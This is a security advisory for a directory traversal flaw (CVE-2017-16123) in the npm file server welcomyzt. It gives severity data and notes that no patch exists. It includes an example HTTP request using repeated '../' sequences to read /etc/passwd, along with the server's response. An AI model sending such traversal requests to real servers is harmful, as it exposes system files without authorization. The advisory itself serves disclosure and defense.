GHSA-8fv7-vm2p-5495

Source

https://github.com/advisories/GHSA-8fv7-vm2p-5495

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-8fv7-vm2p-5495/GHSA-8fv7-vm2p-5495.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-8fv7-vm2p-5495

Aliases

CVE-2017-16123

Published

2020-09-01T17:23:53Z

Modified

2023-11-08T03:59:06.195567Z

Severity

7.5 (High) CVSS_V3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CVSS Calculator

Summary

Directory Traversal in welcomyzt

Details

welcomyzt is a simple file server.

welcomyzt is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing ../ in the url.

Example request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost

and server Response:

HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}

Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

Database specific

{
    "cwe_ids": [
        "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:21:24Z",
    "nvd_published_at": null,
    "severity": "HIGH"
}

References

Affected packages

npm / welcomyzt

Package

Name: welcomyzt; View open source insights on deps.dev
Purl: pkg:npm/welcomyzt

Affected ranges

Type: SEMVER
Events: Introduced

0.0.0

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-8fv7-vm2p-5495/GHSA-8fv7-vm2p-5495.json"